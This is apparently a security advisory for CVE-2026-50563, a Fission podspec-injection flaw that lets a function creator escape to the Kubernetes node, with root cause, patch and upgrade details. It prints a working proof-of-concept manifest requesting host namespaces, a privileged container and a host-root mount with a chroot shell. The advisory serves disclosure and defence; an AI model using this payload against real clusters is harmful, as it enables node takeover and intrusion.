critical · 9.9CVE-2026-50563Jun 30, 2026

CVE-2026-50563: Fission Container Executor PodSpec Injection Leading to Node Escape

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A Fission user with only the ability to create functions can craft a malicious pod spec that tricks the executor into scheduling a privileged, host-namespace pod, escaping to the underlying Kubernetes

Packagegithub.com/fission/fission
Ecosystemgo
Affected<= 1.23.0
Fixed in1.24.0

The problem

Fission's Container Executor lets tenants supply `Function.spec.podspec` directly. The executor merges it verbatim into the Deployment it creates on the tenant's behalf.

`FunctionSpec.Validate` only checked that `spec.PodSpec != nil` for `executorType: container`. It never inspected the content. `MergePodSpec` then forwarded `hostPID`, `hostNetwork`, `hostIPC`, hostPath volumes, `serviceAccountName`, and container `privileged` into the resulting Deployment with no filtering.

A tenant holding only `functions.fission.io/create` (a standard developer permission) could deploy a Function whose podspec escapes to the host. This is a lower-privilege variant of GHSA-gx55-f84r-v3r7, which required `environments/create`.

Proof of concept

A working proof-of-concept for CVE-2026-50563 in github.com/fission/fission, with the exact payload below.

http
apiVersion: fission.io/v1
kind: Function
metadata:
  name: escape-fn
  namespace: default
spec:
  environment:
    name: python
    namespace: fission
  package:
    packageref:
      name: escape-pkg
      namespace: default
  executortype: container
  podspec:
    hostPID: true
    hostNetwork: true
    hostIPC: true
    serviceAccountName: fission-svc
    volumes:
    - name: host-root
      hostPath:
        path: /
        type: Directory
    containers:
    - name: escape
      image: alpine
      command: ["/bin/sh", "-c", "chroot /host /bin/sh -i"]
      securityContext:
        privileged: true
        allowPrivilegeEscalation: true
      volumeMounts:
      - name: host-root
        mountPath: /host

The root cause is split across two locations. `FunctionSpec.Validate` (CWE-284) skipped all content checks on the user-supplied podspec for `executorType: container`. `MergePodSpec` (CWE-269) then passed every field through to the Deployment unchanged, including `hostPID`, `hostNetwork`, `hostIPC`, `privileged`, hostPath volumes, and `serviceAccountName`.

The executor itself runs under a high-privilege service account with `deployments/create` in the function namespace. So the executor, not the tenant, creates the Deployment, bypassing any PodSecurityAdmission policy that would block the tenant directly.

The patch adds a call to `ValidatePodSpecSafety("Function.spec.podspec", spec.PodSpec)` inside `FunctionSpec.Validate`, the same sanitizer already applied to the Environment path. The existing validating webhook (registered for `create` and `update` verbs) picks up the new check with no other changes required.

The fix

Upgrade to Fission v1.24.0. The fix is in PR #3391 (commit e484df8460bb4e8026e24210120602aa7f181f64). `FunctionSpec.Validate` now calls `ValidatePodSpecSafety` on `spec.podspec` before the Function is admitted. Functions whose `spec.podspec` sets `hostPID`, `hostNetwork`, `hostIPC`, hostPath volumes, `privileged`, `allowPrivilegeEscalation`, or a `serviceAccountName` override are rejected at admission.

Fields like `image`, `command`, `args`, `env`, `resources`, `nodeSelector`, `tolerations`, `affinity`, non-hostPath volumes, and `volumeMounts` continue to work without change.

Reported by Sanket Sudake (sanketsudake).

References: [1][2][3][4][5][6]

Related research